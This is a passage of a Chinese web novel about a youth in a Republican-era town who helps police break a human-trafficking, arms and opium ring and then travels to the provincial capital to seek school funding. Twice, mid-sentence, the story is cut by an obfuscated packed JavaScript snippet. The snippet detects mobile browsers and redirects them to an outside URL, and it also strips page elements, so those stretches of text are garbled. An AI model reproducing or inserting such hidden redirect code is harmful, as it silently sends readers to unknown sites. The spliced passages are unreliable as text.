张静轩心头一紧:“拨款的事?” “不止。”卢明远从怀里掏出一份报纸,“你看这个。” 是《新报》。头版头条的标题触目惊心:《多地新式学堂遭抵制,保守势力抬头?》文章里列举了好几个地方,都是办了新学堂后遇到各种阻挠——有被泼粪的,有被扔石头的,有先生遭诬陷的。青石镇的事也在其中,但只用了一小段,没说细节。 “这是林记者写的?”张静轩问。 “是。”卢明远点头,“但你看这段。”他指着文章中间,“‘有地方士绅称,新学扰乱纲常,败坏风俗’。这话……听着像陈继业那伙人说的。” 张静轩仔细看。文章里确实提到,有“不愿具名的地方人士”批评新学。但用词,和当初赵全福他们散播的谣言如出一辙。 “你是说……陈继业的人,在别的地方也在活动?” “可能。”卢明远脸色凝重,“我爹从省城打听来的消息,说最近有好几个地方,都出现了类似青石镇的情况——办学受阻,先生遭难。手法都差不多,先是暗中破坏,然后舆论造谣。” 陈老秀才叹了口气:“树大招风啊。新学这东西,触动太多人利益了。” 张静轩沉默。他看着报纸上那些地名——都是周边县镇,有的比青石镇还小,还偏。如果陈继业那伙人的手已经伸到那些地方,说明他们的网络,比他想象的更大。 “沈特派员知道吗?” “应该知道。”卢明远说,“但他最近在追查另一条线——陈继业的走私网络,不止走军火烟土,还走人口。” “人口?”张静轩一惊。 “对。”卢明远压低声音,“我爹说,省城最近破获一个拐卖人口的团伙,头目交代,他们的‘货源’,有一部分从北边来,经过青石镇附近的中转站,往南边卖。” 张静轩感到脊背发凉。走私军火烟土已经够恶,还加上人口贩卖。这陈继业,真是恶贯满盈。 “那马三……” “可能不只是打手。”卢明远说,“沈特派员怀疑,马三负责青石镇这一片的‘货源’收集。那些失踪的穷苦人家孩子、女人,可能都跟他有关。” 书房里一时寂静。雨声透过窗户传进来,淅淅沥沥,像无数细小的叹息。 张静轩想起水生,想起小莲,想起学堂里那些孩子。如果马三真的在拐卖人口,那这些孩子…… “得尽快抓住他。”他说。 “难。”陈老秀才摇头,“马三是地头蛇,对青石镇周围地形了如指掌。沈特派员的人人生地不熟,不好抓。” 正说着,门外传来脚步声。福伯匆匆进来:“老爷,周大栓来了,说有急事。” 周大栓浑身湿透,站在廊下,脸色苍白:“小少爷,水生……水生不见了!” 张静轩心头一震:“什么时候的事?” “今儿晌午。”周大栓声音发抖,“他说去河边挖野菜,到现在没回来。我去找,只找到这个。”他从怀里掏出一只草鞋——是水生的,鞋底还沾着新鲜的泥。 “河边哪儿?” “镇西,青云河下游那片滩涂。”周大栓说,“我去找时,看见滩涂上有脚印,不止一个人的。还有……还有车辙印。” 车辙印。张静轩想起沈特派员说的“货源”、中转站。难道…… “福伯,备马!”他转身就往屋里跑,“我去找沈特派员!” “等等!”张老太爷叫住他,“雨这么大,你去哪儿找?” “镇西十里,山神庙!”张静轩头也不回,“马三在那儿!” 雨越下越大。张静轩骑着马,福伯也骑了一匹,两人冒雨往镇西赶。山路泥泞,马蹄打滑,几次差点摔倒。雨幕遮天蔽日,十步外就看不清路。 “小少爷!”福伯在雨中大喊,“这样太危险!” “水生更危险!”张静轩抹了把脸上的雨水,“福伯,您回去叫人!让周叔李叔他们,沿着河往下游找!我去山神庙!” 福伯还想劝,但张静轩已经打马冲进雨幕。老管家一咬牙,调转马头往回奔。 山路蜿蜒。张静轩紧紧抓着缰绳,雨水打得眼睛睁不开。他心里只有一个念头:水生不能有事。那个憨厚的孩子,那个会算账、会疼妹妹的孩子,不能有事。 山神庙在镇西十里外的山坳里。张静轩小时候来过,记得路。穿过一片松林,绕过一道山梁,庙的轮廓在雨幕中显现——几堵断墙,半塌的门楼,像一头蹲在雨中的巨兽。 他勒住马,翻身下来,把马拴在树林里。雨声掩盖了脚步声,他踩着泥泞,慢慢靠近。 庙里似乎有火光。从断墙的缝隙看进去,果然——一堆篝火在正殿的残垣下燃烧,几个人影围着火堆。张静轩屏住呼吸,数了数:三个。其中一个,左腿伸着,姿势别扭——是马三。 但没看见水生。 正看着,庙里传来骂声:“他娘的,这雨下得没完没了!”是马三的声音,沙哑粗粝。 “三哥,那小子怎么办?”另一个人问。 “绑结实了,扔后边破屋里。”马三说,“等雨小些,连夜送走。老大那边催得紧。” “可这雨……” “雨再大也得走!”马三啐了一口,马三啐了口带血的唾沫,眼神里闪过怨毒:“陈爷……他早年在关外跟俄国人做皮货,后来搭上日本人的线。他说这世道,规矩是给傻子守的,聪明人都懂得怎么在黑里扒拉金子。”他顿了顿,“他还说,中华民国这么大,烂一点没关系,反正烂透了才有人来救——可救的人,也得先喂饱。” 张静轩心往下沉。货——他们真的在拐卖人口。水生,就是他们的“货”。 他悄悄退后,绕到庙后。那里果然有间半塌的偏殿,门用破木板挡着。他轻轻挪开木板,里面黑漆漆的,有股霉味。 “水生?”他低声唤。 角落里传来窸窣声。张静轩摸过去,借着门缝透进的微光,看见水生被绑着手脚,嘴里塞着破布。见他进来,眼睛瞪大,拼命摇头。 张静轩拔出小刀,割断绳子,取出破布。水生大口喘气:“静轩哥……快走……他们人多……” “别怕。”张静轩扶起他,“能走吗?” “腿……腿麻了。” 张静轩架起水生,刚要往外走,门外传来脚步声。他立刻拉着水生躲到神像后。 门被推开。一个人影探头看了看:“那小子还老实吧?” “老实。”另一个人说,“三哥说了,看紧点。这可是‘上等货’,能卖好价钱。” 两人说了几句,又关上门走了。 张静轩松口气。他看了看四周——偏殿没有窗户,只有门一个出口。硬闯不行,得想别的办法。 正想着,庙前传来喧哗声。是福伯带人来了? 他凑到墙缝往外看。雨幕里,几盏灯笼晃动,人影绰绰。有周大栓的声音,有李铁匠的声音,还有街坊们的喊声。 “马三!滚出来!” “把我儿子交出来!” 马三那边也炸了锅:“他娘的,怎么找来的?” “三哥,怎么办?” “怕什么!”马三吼道,“抄家伙!” 张静轩心一横,对水生说:“你在这儿待着,别出声。”说完,他掏出小刀,在神像后的墙上挖——墙是土坯的,被雨水泡软了,很快挖出个洞。 “从这儿钻出去!”他把水生推过去,“往山下跑,别回头!” 水生钻出洞,回头看他:“静轩哥,你……” “快走!” 水生一咬牙,钻进雨幕。张静轩转身,从另一边绕到庙前。 雨地里,两拨人对峙。周大栓、李铁匠带着十几个街坊,手里拿着锄头扁担。马三那边三个人,都拿着刀。雨声很大,但压不住对峙的紧张。 “马三!”周大栓眼睛血红,“我儿子呢!” “你儿子?”马三冷笑,“我不知道什么儿子。这儿是山神庙,你们私闯,可是犯法的。” “放你娘的屁!”李铁匠吼道,“把人交出来!” “交人?”马三掂了掂手里的刀,“就凭你们这些泥腿子?” 眼看冲突一触即发,张静轩从暗处走出来:“马三,你要找的‘货’,已经跑了。” 所有人都转头看他。马三脸色大变:“你……你怎么在这儿?” “我不但在这儿,还知道你们在干什么。”张静轩盯着他,“走私军火烟土不够,还拐卖人口。马三,你的罪,够枪毙十回了。” 马三眼中凶光一闪:“小子,你找死!”他挥刀就扑过来。 张静轩早有准备,侧身躲过,手里的油纸伞猛地一戳,戳中马三的肋下。马三吃痛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140653|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作一滞。周大栓趁机一锄头砸在他手腕上,刀当啷落地。 另外两个人想冲上来,被李铁匠和街坊们拦住。雨地里一片混乱。 就在这时,远处传来马蹄声。几匹马冲破雨幕,马上的人穿着制服——是沈特派员的人。 “不许动!警察!” 马三见势不妙,转身想跑,被周大栓一把抱住,两人滚在泥地里。警察冲上来,很快制服了三人。 沈特派员跳下马,浑身湿透。他看了看现场,目光落在张静轩身上:“你没事吧?” 张静轩摇头:“水生跑了,应该下山了。” “我已经派人去找了。”沈特派员走到马三面前,蹲下身,“马三,陈继业在哪儿?” 马三啐了口带血的唾沫:“我不知道!” “不知道?”沈特派员冷笑,“那你总知道,你们拐卖的那些人,都送到哪儿去了吧?” 马三闭嘴不说话。 沈特派员站起身,对张静轩说:“这次多亏你们。马三我们带回去审,一定撬开他的嘴。” 警察押着马三三人走了。雨还在下,但小了些。街坊们围过来,七嘴八舌地问。周大栓急着找水生,要往山下跑。 “周叔,”张静轩叫住他,“水生应该没事。咱们分头找,您往东,我往西。” 众人散开。张静轩和福伯往西边找。山路泥泞,脚印早就被雨水冲没了。他们一路喊,一路找,直到天快黑时,才在一处山洞里找到水生。 孩子缩在洞角,浑身发抖,但没受伤。看见张静轩,哇地哭出来。 “没事了,没事了。”张静轩抱住他,“走,回家。” 回到镇上时,天已经黑透。雨停了,月亮从云缝里露出来,清清冷冷。周大栓家挤满了人,街坊们都来了,见水生平安回来,都松了口气。 周大栓抱着儿子,老泪纵横。周婶忙着煮姜汤,给每个人端上一碗。 沈特派员也来了,坐在堂屋里,脸色凝重。等众人情绪平复些,“马三交代了。”沈特派员声音低沉,带着熬夜后的沙哑,“陈继业狡兔三窟,上海只是幌子之一。他真正的根基和网络,仍在本省。马三负责青石镇及上下游码头这片‘货源地’与‘中转站’。” 他翻开随身的笔记本,目光冷峻:“根据口供,他们专挑两类人下手:一是家里穷困、父母外出或疏于看管的孩子,以‘介绍省城好活计’为诱;二是独自外出、无亲无故的妇人。得手后,利用青云河水路,夜间用改装过的货船运往下游集散点,再分陆路、水路送往南边。青石镇位置关键,水路便利,且……民风相对闭塞,学堂未办时,鲜少有人警惕陌生人来往。” 他合上本子,看向张静轩和周大栓等人:“破坏学堂,是陈继业接到省里某些‘朋友’示意后的双重算计。一来,新学开智,百姓不易受骗,更会警惕陌生人与孩童走失,断了他们‘货源’;二来,制造混乱,转移可能的侦查视线。马三接到的直接指令就是‘不惜手段,让学堂开不下去’。” 堂屋里一片死寂。十七个。十七个活生生的人,就这样消失了。 “都……都卖到哪儿去了?”周大栓声音发抖。 “南边,广州、香港,还有……南洋。”沈特派员声音低沉,“马三说,有些卖到工厂做苦工,有些卖到妓院,还有些……卖到海外,这辈子都回不来了。” 有妇人开始啜泣。那些失踪的人,都有家人,都有牵挂。 张静轩握紧了拳。他看着水生——这个差点就成了第十八个的孩子,心里翻江倒海。 “能……能找回来吗?”有人问。 沈特派员沉默片刻:“难。时间太久,线索太少。但我们会尽力。” 这话说得很实在,但也让人绝望。堂屋里的气氛,沉重得能拧出水。 “不过,”沈特派员话锋一转,“马三交代了一个重要线索——陈继业在青石镇附近,还有一个仓库。里面藏着没运走的‘货’,还有账本。” “在哪儿?” “青云河上游,一个废弃的磨坊里。”沈特派员看向张静轩,“明天,我们去找。你……要不要一起去?” 张静轩一愣:“我?” “对。”沈特派员点头,“这案子,你从头到尾都在。有始有终。” 张老太爷想说什么,但看了看儿子,又咽回去了。他知道,有些事,拦不住。 “好。”张静轩说,“我去。” 夜里,张静轩躺在床上,睡不着。窗外的月亮很亮,照得屋里一片银白。他想起马三那张凶恶的脸,想起水生惊恐的眼神,想起那十七个失踪的人。 十七个。背后是十七个破碎的家。 他坐起身,点亮油灯,摊开纸笔。该给大哥写信了。 “大哥:今日擒获马三,解救水生。知陈继业团伙拐卖人口,已害十七人。弟心难平。明日往寻仓库,或可得账本证据。望兄在前线保重,弟在后方,亦在战。静轩谨上。” 信写得很短,但字字沉重。他将信折好,放在枕下。明天托沈特派员的人带去。 吹熄灯,重新躺下。 12. 第十二章 磨坊暗影 晨雾未散,青云河上游的芦苇荡白茫茫一片,像铺了层厚厚的棉絮。张静轩跟在沈特派员身后,深一脚浅一脚地踩在河滩的淤泥里。福伯也来了,还有两个穿便衣的警察,腰间鼓囊囊的,藏着家伙。 “就是那儿。”沈特派员指向雾中隐约的轮廓。 那是一座废弃的水磨坊,半边已经塌了,残存的木架在雾里歪斜着,像巨兽的骨架。磨坊临河而建,河水在这里拐了个弯,形成一处回水湾,水面漂浮着枯枝败叶。 “小心些。”沈特派员示意警察散开,从不同方向靠近。 张静轩握紧了怀里的小刀。河风吹过,芦苇沙沙作响,混着河水的腥气。他想起马三交代的话:“磨坊底下有个地窖,账本和‘货’都在里面。” 货。想到这两个字,他心里一紧。 一行人慢慢靠近。磨坊的木门虚掩着,门轴锈蚀,一推就发出刺耳的吱呀声。里面很暗,空气中弥漫着霉味和一种说不清的腥气。阳光从塌陷的屋顶漏下来,照出飞舞的灰尘。 “地窖入口在哪儿?”沈特派员低声问。 张静轩环视四周。磨坊不大,正中是石磨,已经长满青苔。四周堆着些破麻袋、烂木头。他走到石磨旁,用脚踩了踩地面——声音发空。 “在这儿。” 两个警察上前,撬开地面铺着的破木板。果然,下面是个黑洞洞的入口,有木梯通下去。一股更浓的腥气涌上来,带着湿冷的寒意。 沈特派员点亮马灯,率先下去。张静轩跟在他后面。木梯吱嘎作响,仿佛随时会断。 地窖比想象中深。下了约莫两丈,脚才踩到实地。马灯的光晕开,照亮了空间——不大,约莫三丈见方。墙上挂着锁链,地上散落着发霉的稻草。角落里堆着几个麻袋,旁边蜷缩着三个人,两女一男,都衣衫褴褛,手脚被绑着,嘴里塞着破布。 一个瘦小的汉子正靠在墙边打盹,听见动静猛地惊醒,刚要喊,沈特派员已一个箭步上前,手刀劈在他颈侧,汉子闷哼一声软倒。看见灯光,他们惊恐地往后缩,发出呜呜的声音。 “别怕,我们是来救你们的。”沈特派员快步上前,拔出他们嘴里的破布。 三人剧烈咳嗽,其中一个年轻女子抬起头,脸上脏污,但眼睛很亮:“你们……是警察?” “省警务厅特派员,姓沈。”沈特派员一边解绳子一边说,“你们怎么在这儿?” “被拐来的。”女子声音嘶哑,“关了……关了快一个月了。他们说,等船来了,就把我们运走。” “运去哪儿?” “南边。”女子哆嗦着,“说是去……去南洋做苦工。” 另外两人也哭起来。一个是四十来岁的妇人,一个是十五六岁的少年,都瘦得皮包骨头。 张静轩看着他们,心里像被什么东西攥紧了。他想起马三说的“十七个”。这三人,差点就成了第十八、十九、二十个。 “账本呢?”沈特派员问。 女子指向墙角那些麻袋:“在……在那个蓝布袋里。” 警察上前,从麻袋里翻出几本账册,还有一叠信件。沈特派员快速翻看,脸色越来越凝重。 “不止青石镇。”他合上账册,“周边三个县,都有他们的点。这些年……经手的人,超过五十。” 五十。张静轩感到一阵眩晕。五十个活生生的人,像货物一样被买卖、转运,消失在未知的远方。 “陈继业……”他喃喃道。 “他跑不了。”沈特派员声音冰冷,“这些账本,够枪毙他十次了。” 地窖里一时寂静。只有三个被救者低低的啜泣声,和头顶河水流过的哗哗声。 “先上去。”沈特派员说,“把人送回去,账本带走。” 警察搀扶着三人上梯。张静轩走在最后,正要上去,张静轩眼角瞥见地窖最深处还有个小门,被一堆稻草遮着,只露出半截门框。门上挂着把大铁锁,锁身油亮,显然是经常开关。门缝里透出的腥气更重,还混着一股铁锈和油脂的怪味。 “等等。”他叫住沈特派员,“那儿还有个门。” 马灯照过去。果然,靠里的墙上有一扇小木门,锁着,门缝里透出更浓的腥气。 “打开。”沈特派员示意。 警察用撬棍撬开锁。门开了,里面是个更小的隔间,堆着些木箱。打开箱子,里面是……枪。 长短不一的枪械,用油布包着,整整齐齐码在箱子里。旁边还有几箱子弹。 “军火。”沈特派员蹲下身,拿起一把手枪,“德国造,好家伙。” 张静轩数了数,总共八箱。如果这些枪流出去…… “不止这些。”一个警察从最里面的箱子翻出些东西——是烟土,黑乎乎的膏块,用油纸包着。 走私军火、烟土、人口。陈继业这条线,真是无恶不作。 “全部带走。”沈特派员站起身,“这是铁证。” 众人开始搬运。三个被救者先送上去,然后是账本、军火、烟土。东西不少,搬了四五趟才搬完。 回到地面时,雾已经散了。阳光照在河面上,波光粼粼。但那光,照不进张静轩心里。他看着那些被救的人坐在河滩上,眼神空洞,像被抽走了魂。 “他们会怎么样?”他问沈特派员。 “先送回家,治疗,安抚。”沈特派员说,“但……心里的伤,难治。” 是啊。被拐卖,被囚禁,那种恐惧和屈辱,会跟着一辈子。 “那……那些已经运走的呢?” 沈特派员沉默良久:“我们会尽力查。但……希望不大。” 希望不大。这话像一块冰,塞进张静轩心里。 搬完东西,众人准备离开。张静轩最后看了一眼磨坊——这个藏在河湾深处的黑暗巢穴,终于见了光。但他知道,这样的巢穴,还有多少? 回镇的路上,气氛沉重。沈特派员上马之前,想了想对张静轩低语:“陈继业经营多年,树大根深。马三落网,断其一臂,但他最核心的账目和关系网,恐怕另有藏处。此人睚眦必报,你们去省城,务必谨慎。”三个被救者坐在马车里,裹着警察给的毯子,依然瑟瑟发抖。沈特派员骑马走在前面,眉头紧锁。 福伯低声对张静轩说:“小少爷,这事……太大了。” “我知道。”张静轩说,“但再大,也得管。” 回到镇上,消息已经传开了。街坊们围在镇公所门口,看见马车回来,都涌上来。当看到车里那三个人时,人群安静了。 有人认出了那个妇人:“是……是王寡妇?她不是上个月去省城找工,失踪了吗?” 妇人抬起头,看见熟人,哇地哭出来。 周大栓挤过来,看见那少年,愣住了:“狗剩?你不是跟人跑船去了吗?” 少年低着头,不敢说话。 张静轩明白了。这些人,都是以“找工”“跑船”的名义被骗走的。家里人还以为他们是自己走的,谁会想到是被拐卖了? “造孽啊……”有老人摇头叹息。 沈特派员站在台阶上,清了清嗓子:“诸位乡亲,人贩子我们已经抓住了。这三个,是刚救回来的。大家看看,有没有认识的人家,帮忙通知一声。” 人群骚动起来。有人去认人,有人去报信。很快,几家人哭着跑来,抱住自家亲人,嚎啕大哭。 张静轩站在一旁看着。那些哭声,撕心裂肺,混着失而复得的狂喜和后怕的恐惧。他心里堵得慌,转身走了。 那夜张静轩辗转难眠。窗外风声呜咽,像无数细小的哭泣。他知道自己只是个十五岁的学生,省城对他而言是陌生而庞大的存在——那里有他不了解的规则,不认识的人,甚至可能有不屑听他说话的眼神。他想起水生被救回来那夜,孩子蜷在炕角,睡着了还在发抖;想起那三个被救者空洞的眼睛,像被掏走了魂;想起苏宛音说“怕也得做”时,眼底那簇不肯熄灭的火。 他忽然明白了大哥当年离家时的决绝。有些路,看见了,就不能假装没看见;有些事,知道了,就不能假装不知道。 “爹,”第二天早饭时,他说,“我再去趟省城。” “都看到了?”老人问。 张静轩点头:“看到了。” “怕吗?” “怕。”张静轩老实说,“但更怕……什么都不做。” 张老太爷看着他,眼神复杂:“静轩,有些事,看见了,就回不去了。” “我知道。”张静轩说,“但回不去,也得往前走。” 张老太爷问:“非去不可?” 张静轩答:“爹,咱们办学,是为让人明理。理在省城被歪了,我就去省城把它正过来。这不只是为钱,是为咱们做的事,讨个堂堂正正的说法。” 张老太爷凝视儿子良久,从怀中掏出一枚私印:“也好。张家的人,可以输,不能躲。拿着这个,省城‘德润丰’银号的掌柜,是故交。” 父子俩沉默对坐。窗外的阳光很好,照在书案上,那些账本和信件摊开着,像一道道黑色的伤口。 “沈特派员说,”张静轩开口,“陈继业在逃,但他跑不了。这些证据,够定他死罪。” “死罪容易,除恶难。”张老太爷缓缓道,“杀一个陈继业,还有王继业、李继业。只要有利可图,就有人铤而走险。” 这话说得深刻。张静轩想起大哥信里的话:“中华民国要强,先要人心强。”人心若贪婪、若愚昧,再严的刑律,也挡不住罪恶。 “所以,”他说,“才要办学堂。启民智,明事理。人明白了,就不会被骗;人有骨气,就不会作恶。” 张老太爷眼中闪过一丝欣慰:“你长大了。” 这话,父亲说过不止一次。但这一次,张静轩听出了认可——不是对孩子成长的欣慰,是对同道中人的认可。 “爹,”他忽然问,“咱们家……为什么一直办学?布施,修桥,铺路,现在又办学堂。图什么?” 张老太爷沉默片刻,起身走到那幅《山河图》前,轻轻拂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“沈特派员派人送回家了。”张静轩说,“但……精神受了刺激,要养一段时间。” 程秋实叹气:“这世道……怎么总有这样的人?” “因为总有愚昧,总有贪婪。”张静轩说,“所以,咱们得把学堂办得更好。让孩子们都读书,都明理。将来,这样的人就会少。” 苏宛音点头,但眼神里仍有忧虑:“可省里的拨款还没下来。街坊们凑的钱,撑不了多久。” 这是个现实问题。张静轩想了想:“我再去趟省城。” “你去?”程秋实惊讶,“你一个孩子……” “孩子怎么了?”张静轩笑了,“孩子说的话,有时候更真。” 他其实早有这个念头。沈特派员的计策虽然高明,但太绕。不如直接去省城,找教育厅,找那些管事的,当面问清楚——青石镇学堂,到底哪里不合格? 苏宛音和程秋实对视一眼,都从对方眼里看到了担忧,但也看到了希望。 “那……我陪你去。”卢明远的声音从门口传来。他不知何时站在那儿,脸上有笑,“我在省城熟,带路。” “我也去。”又一个声音。 是水生。孩子站在卢明远身后,眼神坚定:“静轩哥,俺也去。俺要告诉那些大官,学堂救了多少人。” 张静轩看着他们,心里一暖。他不是一个人。 “好。”他说,“咱们一起去。” 计划定下来:三天后出发。张静轩、卢明远、水生,还有福伯陪同。苏宛音和程秋实留在学堂,继续教学。沈特派员那边,张静轩去说了,沈特派员沉吟片刻,点头:“也好。有些事,该让孩子去说说。我会写封介绍信,你们带着。” 准备工作开始。张老太爷给省城的朋友写了信,托他们照应。卢明远联系了在省城的同学,安排住处。水生回家收拾东西——其实没什么可收拾的,就两件换洗衣裳。 夜里,张静轩又在灯下写信。这次是写给大哥的。 “大哥:今日端掉陈继业仓库,救三人,获罪证若干。三日后将往省城,为学堂请款。弟知前路难,但民心在,不敢退。兄在战场,弟在学堂,皆为这片山河。望兄珍重,待凯旋日,兄弟把酒话桑麻。弟静轩谨上。” 信写得很长。他把这段时间发生的事都写了——泼粪、守夜、抓马三、救水生、端磨坊。写到最后,手有些酸,但心里很畅快。 吹熄灯,躺下。黑暗中,他想起父亲说的那些往事——关外逃难,家破人亡。想起爷爷带着一把弓,一路往南,最终在青石镇落脚。 那把弓,现在在大哥手里。 而他手里,是另一把弓——榆木弓,刻着“守静笃,观复明”。 守静,是在动荡中定心。观复,是在黑暗中寻光。 而现在,他还要做第五件事:前行,不止。 窗外传来打更声,三更天了。 月光很好,清清冷冷地照着庭院。远处青云河的水声隐隐约约,永不停歇。 13. 第十三章 往省城的路上 天还没亮透,青石镇的石板路上就响起了马蹄声。 两辆马车停在张家门口。前面一辆载人,福伯赶车;后面一辆载行李,还坐着水生——孩子坚持要坐这辆,说“能看风景”。其实他长这么大,最远只到过青云河对岸。 张老太爷站在门口,往儿子怀里塞了个布包:“路上吃的。省城不比家里,凡事小心。” 布包里是烙饼、煮鸡蛋,还有一小罐咸菜。张静轩接过,沉甸甸的,带着体温。 “爹,您回吧。”他说,“学堂那边……” “有我在。”张老太爷摆摆手,“苏先生、程先生都是明白人,孩子们也懂事。你只管去,把事办成。” 卢明远从后面那辆马车探出头:“张伯父放心,省城我熟。” 水生也探出头,眼睛亮晶晶的:“张老爷,俺会照顾好静轩哥!” 众人都笑了。这孩子,还不知道是谁照顾谁。 马车动了。张静轩掀开车帘回头望。晨雾中的青石镇渐渐模糊,只剩下祠堂的屋脊,在雾里若隐若现,像一头沉睡的兽。学堂的钟声还没响,但再过半个时辰,孩子们就该到了。 车轱辘压在青石板上,咯噔咯噔,声音单调而绵长。出了镇子,路就变成了黄土路。昨夜下过雨,路面泥泞,马车走得很慢。 福伯在前头赶车,脊背挺直,像根老竹。张静轩看着他的背影,忽然想起什么:“福伯,您去过省城吗?” “年轻时去过。”福伯没回头,声音在风里飘,“那会儿还是前清,省城叫府城。城墙高,城门大,里头什么样……忘了。” 忘了?张静轩不信。福伯记性最好,张家几十年的账目都在他脑子里,怎么会忘。 但他没追问。有些事,忘了比记着好。 马车沿着青云河往南走。河水在这里变宽了,水流也缓了。两岸是收割后的稻田,秸秆堆成垛,像一个个沉默的坟包。偶尔有早起的农人在地里干活,看见马车,直起身子望,眼神茫然。 水生趴在车窗上,看得入神:“静轩哥,省城……比咱们镇大多少?” “大很多。”卢明远接话,“光城门就有八个。城里头,马路是柏油的,有电灯,有汽车,还有四层高的楼房。” 水生张大了嘴:“四层?那不得杵到天上去?” 卢明远笑了:“等你去了就知道。” 张静轩没说话。他看着窗外的田野。秋天的田野是枯黄的,但枯黄里有种沉静的美。远处山峦起伏,雾在山腰缠着,像条玉带。这是青石镇的山河,他熟悉的山河。而省城,是另一个世界。 马车走了两个时辰,在路边茶棚停下歇脚。茶棚很简陋,几根竹竿撑着茅草顶,摆着三四张破桌子。棚主是个五十来岁的汉子,独眼,正用蒲扇扇炉子,锅里煮着茶水,咕嘟咕嘟冒泡。 “几位,喝茶?”独眼汉子抬头,目光在张静轩身上停了停。 “歇会儿。”福伯把马车拴好,要了四碗茶。 茶是粗茶,但热乎。水生捧着碗,小口小口喝,眼睛四处看。茶棚里还有两桌客人,一桌是挑担子的货郎,一桌是三个穿短褂的汉子,正在低声说话。 张静轩坐下时,听见那桌汉子说:“……真被抓了?” “抓了。省里来的警察,一窝端。” “马三那小子……” “也栽了。听说是个学生娃子坏的事。” 张静轩心头一跳。学生娃子——说的是他?他低下头,假装喝茶。 “那学生娃子什么来头?” “青石镇张家的,办新学堂那个。” “张家?”说话的人顿了顿,“是不是……三年前那个张家的?” “对。他哥参军了,他爹还在。” “啧,这家人,怎么总跟咱们过不去……” 声音低了下去。张静轩握着茶碗的手,出了汗。福伯显然也听见了,手按在腰间——那里别着短棍。 卢明远正要起身,被福伯按住。老管家摇摇头,示意别动。 喝完茶,继续上路。马车走出老远,福伯才开口:“那几个人,是码头的脚夫。跟马三……可能认识。” “他们认出我了?”张静轩问。 “可能。”福伯说,“但不敢怎样。光天化日,他们没那个胆。” 话虽如此,但接下来的路,福伯赶得更快了。马车在土路上颠簸,张静轩被颠得骨头疼。水生倒不觉得,还兴奋地指着窗外:“看!鸟!好大的鸟!” 是只老鹰,在天空盘旋,翅膀展开,像两把黑色的刀。 中午时分,到了一处镇子。镇子比青石镇大些,有两条交叉的街道,街上人来人往,还算热闹。福伯找了家面馆,四人进去吃饭。 面馆里人不少。跑堂的端着碗穿梭,高声报着菜名。张静轩点了四碗牛肉面,又要了一碟卤豆干。 等面时,邻桌的说话声飘过来。 “……听说了吗?青石镇破了个大案!” “什么案?” “拐卖人口!抓了十几个人,救回来三个。主犯还在逃,叫陈什么……” “陈继业。那家伙我见过,以前在省城开货栈,看着人模狗样的。” “知人知面不知心啊。” 张静轩低头吃面。面条很劲道,牛肉切得薄,汤也鲜。但他吃得没滋味。 消息传得真快。这才几天,连这百里外的镇子都知道了。是沈特派员放的风,还是……别的什么? 吃完饭,继续赶路。福伯说,天黑前要赶到下一个驿站,不然就得露宿荒野。 下午的路更难走。有一段山路,窄得只容一辆马车通过,一边是山壁,一边是悬崖。福伯小心翼翼地赶车,车轮碾在碎石上,嘎吱作响。水生吓得闭着眼,不敢往外看。 张静轩看着悬崖下的深谷。谷底有条溪流,水声隐隐约约。他忽然想,如果马车掉下去,会怎样? 这念头一闪而过,他自己都吓了一跳。什么时候起,他也会想这些了? 过了山路,路平了些。太阳西斜,把田野染成金色。远处出现了一排房屋的轮廓——是驿站。 驿站很破旧,几间土坯房,一个马厩,一个伙房。管事的是个干瘦老头,看见马车,懒洋洋地迎出来:“住店?” “住店。”福伯跳下车,“两间房。” “就一间。”老头说,“今天人多,都住满了。” 果然,马厩里拴着好几匹马,还有两辆货车。伙房里飘出饭香,有人在里面说话。 一间房就一间房。房间很小,一张大炕,能睡四个人。炕上铺着草席,有股霉味。水生倒不嫌弃,放下包袱就躺上去:“累死了……” 卢明远检查了门窗,还算结实。福伯把马车赶进马厩,喂了马料,回来时端着一盆热水:“擦把脸,早点睡。明儿天不亮就得走。” 四人简单洗漱,上炕睡觉。水生很快睡着了,呼吸均匀。卢明远也累了,背过身去。张静轩睁着眼,看着屋顶的椽子。椽子黑黢黢的,结着蜘蛛网。 他想起茶棚里那几个汉子的话,想起面馆里的议论,想起悬崖下的深谷。这些像碎片,在黑暗里漂浮,拼不出完整的图案,但有种不祥的预感。 “福伯,”他轻声问,“您睡了吗?” “没。”老管家在炕那头答。 “您说……省城那些人,会听我们说话吗?” 福伯沉默了一会儿:“不知道。但去说,总比不说强。” 这话实在。张静轩笑了笑。是啊,去说,总比不说强。成不成,另说。 他闭上眼睛,慢慢睡着了。梦里,他看见大哥。大哥穿着军装,站在一片开阔地上,身后是连绵的青山。他回头,对张静轩笑:“静轩,好好守着学堂。等哥回来,咱们一起教孩子。” 他重重点头。 醒来时,天还没亮。福伯已经起来了,正收拾东西。卢明远也醒了,在穿鞋。只有水生还睡着,蜷成一团,像只小猫。 “该走了。”福伯说。 叫醒水生,四人简单吃了点干粮,继续上路。清晨的雾气很浓,马车像在云里走。路边的草叶上结着霜,白花花的,像撒了层盐。 今天要过青云河最大的渡口。福伯说,渡口人多眼杂,要小心。 到渡口时,太阳已经升起来了。河面很宽,水流平缓,对岸的景物在晨光里模模糊糊。渡口停着几条渡船,船夫正在揽客。岸边聚了不少人,有挑担的,有推车的,有骑马的,都在等船。 福伯去打听船期。张静轩站在岸边,看着河水。河水黄浊,打着旋儿,往下游流去。这水流到哪儿?省城?还是更远的大海? “静轩。” 卢明远走过来,压低声音:“你看那边。” 张静轩顺着他的目光看去。渡口边的茶摊上,坐着两个人,都穿着长衫,戴着礼帽,手里拿着报纸,但眼神时不时瞟向这边。 “他们……在盯我们?”张静轩问。 “可能。”卢明远说,“从早上出驿站,我就觉得有人跟着。” 